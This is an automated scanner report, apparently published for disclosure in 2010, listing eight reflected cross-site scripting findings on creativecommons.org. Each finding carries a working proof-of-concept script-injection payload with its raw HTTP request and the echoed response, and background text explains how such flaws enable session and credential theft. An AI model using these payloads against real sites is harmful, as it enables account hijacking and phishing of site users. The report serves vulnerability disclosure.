Report generated by XSS.CX at Sat Nov 13 23:29:01 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

Loading

1.1. http://creativecommons.org/contact [name of an arbitrarily supplied request parameter]

1.2. http://creativecommons.org/weblog/entry/24447 [name of an arbitrarily supplied request parameter]

1.3. http://creativecommons.org/weblog/entry/24469 [name of an arbitrarily supplied request parameter]

1.4. http://creativecommons.org/weblog/entry/24497 [name of an arbitrarily supplied request parameter]

1.5. http://creativecommons.org/weblog/entry/24609 [name of an arbitrarily supplied request parameter]

1.6. http://creativecommons.org/weblog/entry/24637 [name of an arbitrarily supplied request parameter]

1.7. http://creativecommons.org/weblog/entry/24677 [name of an arbitrarily supplied request parameter]

1.8. http://creativecommons.org/weblog/entry/24702 [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://creativecommons.org/contact [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://creativecommons.org
Path:   /contact

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f809c"><script>alert(1)</script>3c4c3bf2d27 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f809c\"><script>alert(1)</script>3c4c3bf2d27 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /contact?f809c"><script>alert(1)</script>3c4c3bf2d27=1 HTTP/1.1
Host: creativecommons.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=e58d90ad37ba2f0da2a54e63ad857182;

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Last-Modified: Fri, 12 Nov 2010 16:00:10 GMT
ETag: "17c45410231598cc592aa2d51bdfac5d"
X-Pingback: http://creativecommons.org/xmlrpc.php
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 17548
Date: Sun, 14 Nov 2010 00:26:29 GMT
X-Varnish: 2104982978
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-e
...[SNIP]...
<form enctype="multipart/form-data" action="/contact?f809c\"><script>alert(1)</script>3c4c3bf2d27=1#usermessagea" method="post" class="cform" id="cformsform">
...[SNIP]...

1.2. http://creativecommons.org/weblog/entry/24447 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://creativecommons.org
Path:   /weblog/entry/24447

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 88b44--><script>alert(1)</script>014a3c825b5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /weblog/entry/24447?88b44--><script>alert(1)</script>014a3c825b5=1 HTTP/1.1
Host: creativecommons.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=e58d90ad37ba2f0da2a54e63ad857182;

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Last-Modified: Fri, 12 Nov 2010 16:00:10 GMT
ETag: "17c45410231598cc592aa2d51bdfac5d"
X-Pingback: http://creativecommons.org/xmlrpc.php
Link: <http://creativecommons.org/?p=24447>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 14486
Date: Sun, 14 Nov 2010 00:26:21 GMT
X-Varnish: 2104982690
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-e
...[SNIP]...
<!-- CC Permalink Mapper was here: /weblog/entry/24447?88b44--><script>alert(1)</script>014a3c825b5=1 ->
...[SNIP]...

1.3. http://creativecommons.org/weblog/entry/24469 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://creativecommons.org
Path:   /weblog/entry/24469

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload b1f9f--><script>alert(1)</script>0d1919f9025 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /weblog/entry/24469?b1f9f--><script>alert(1)</script>0d1919f9025=1 HTTP/1.1
Host: creativecommons.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=e58d90ad37ba2f0da2a54e63ad857182;

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Last-Modified: Fri, 12 Nov 2010 16:00:10 GMT
ETag: "17c45410231598cc592aa2d51bdfac5d"
X-Pingback: http://creativecommons.org/xmlrpc.php
Link: <http://creativecommons.org/?p=24469>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 17797
Date: Sun, 14 Nov 2010 00:25:50 GMT
X-Varnish: 2104976681
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-e
...[SNIP]...
<!-- CC Permalink Mapper was here: /weblog/entry/24469?b1f9f--><script>alert(1)</script>0d1919f9025=1 ->
...[SNIP]...

1.4. http://creativecommons.org/weblog/entry/24497 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://creativecommons.org
Path:   /weblog/entry/24497

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 590d0--><script>alert(1)</script>18c49d55650 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /weblog/entry/24497?590d0--><script>alert(1)</script>18c49d55650=1 HTTP/1.1
Host: creativecommons.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=e58d90ad37ba2f0da2a54e63ad857182;

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Last-Modified: Fri, 12 Nov 2010 16:00:10 GMT
ETag: "17c45410231598cc592aa2d51bdfac5d"
X-Pingback: http://creativecommons.org/xmlrpc.php
Link: <http://creativecommons.org/?p=24497>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 19325
Date: Sun, 14 Nov 2010 00:25:58 GMT
X-Varnish: 2104977842
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-e
...[SNIP]...
<!-- CC Permalink Mapper was here: /weblog/entry/24497?590d0--><script>alert(1)</script>18c49d55650=1 ->
...[SNIP]...

1.5. http://creativecommons.org/weblog/entry/24609 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://creativecommons.org
Path:   /weblog/entry/24609

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload da7cf--><script>alert(1)</script>6eb218025d0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /weblog/entry/24609?da7cf--><script>alert(1)</script>6eb218025d0=1 HTTP/1.1
Host: creativecommons.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=e58d90ad37ba2f0da2a54e63ad857182;

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Last-Modified: Fri, 12 Nov 2010 16:00:10 GMT
ETag: "17c45410231598cc592aa2d51bdfac5d"
X-Pingback: http://creativecommons.org/xmlrpc.php
Link: <http://creativecommons.org/?p=24609>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 14678
Date: Sun, 14 Nov 2010 00:25:54 GMT
X-Varnish: 2104977143
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-e
...[SNIP]...
<!-- CC Permalink Mapper was here: /weblog/entry/24609?da7cf--><script>alert(1)</script>6eb218025d0=1 ->
...[SNIP]...

1.6. http://creativecommons.org/weblog/entry/24637 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://creativecommons.org
Path:   /weblog/entry/24637

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 79b2a--><script>alert(1)</script>2f4b8465a4b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /weblog/entry/24637?79b2a--><script>alert(1)</script>2f4b8465a4b=1 HTTP/1.1
Host: creativecommons.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=e58d90ad37ba2f0da2a54e63ad857182;

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Last-Modified: Fri, 12 Nov 2010 16:00:10 GMT
ETag: "17c45410231598cc592aa2d51bdfac5d"
X-Pingback: http://creativecommons.org/xmlrpc.php
Link: <http://creativecommons.org/?p=24637>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 14481
Date: Sun, 14 Nov 2010 00:25:15 GMT
X-Varnish: 2104969851
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-e
...[SNIP]...
<!-- CC Permalink Mapper was here: /weblog/entry/24637?79b2a--><script>alert(1)</script>2f4b8465a4b=1 ->
...[SNIP]...

1.7. http://creativecommons.org/weblog/entry/24677 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://creativecommons.org
Path:   /weblog/entry/24677

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 6fe75--><script>alert(1)</script>a8162c1e81d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /weblog/entry/24677?6fe75--><script>alert(1)</script>a8162c1e81d=1 HTTP/1.1
Host: creativecommons.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=e58d90ad37ba2f0da2a54e63ad857182;

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Last-Modified: Fri, 12 Nov 2010 16:00:10 GMT
ETag: "17c45410231598cc592aa2d51bdfac5d"
X-Pingback: http://creativecommons.org/xmlrpc.php
Link: <http://creativecommons.org/?p=24677>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 17327
Date: Sun, 14 Nov 2010 00:26:02 GMT
X-Varnish: 2104978691
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-e
...[SNIP]...
<!-- CC Permalink Mapper was here: /weblog/entry/24677?6fe75--><script>alert(1)</script>a8162c1e81d=1 ->
...[SNIP]...

1.8. http://creativecommons.org/weblog/entry/24702 [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://creativecommons.org
Path:   /weblog/entry/24702

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 5c13e--><script>alert(1)</script>9280fd5913e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /weblog/entry/24702?5c13e--><script>alert(1)</script>9280fd5913e=1 HTTP/1.1
Host: creativecommons.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=e58d90ad37ba2f0da2a54e63ad857182;

Response

HTTP/1.1 200 OK
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Last-Modified: Fri, 12 Nov 2010 16:00:10 GMT
ETag: "17c45410231598cc592aa2d51bdfac5d"
X-Pingback: http://creativecommons.org/xmlrpc.php
Link: <http://creativecommons.org/?p=24702>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13625
Date: Sun, 14 Nov 2010 00:25:29 GMT
X-Varnish: 2104972926
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-e
...[SNIP]...
<!-- CC Permalink Mapper was here: /weblog/entry/24702?5c13e--><script>alert(1)</script>9280fd5913e=1 ->
...[SNIP]...

Report generated by XSS.CX at Sat Nov 13 23:29:01 CST 2010.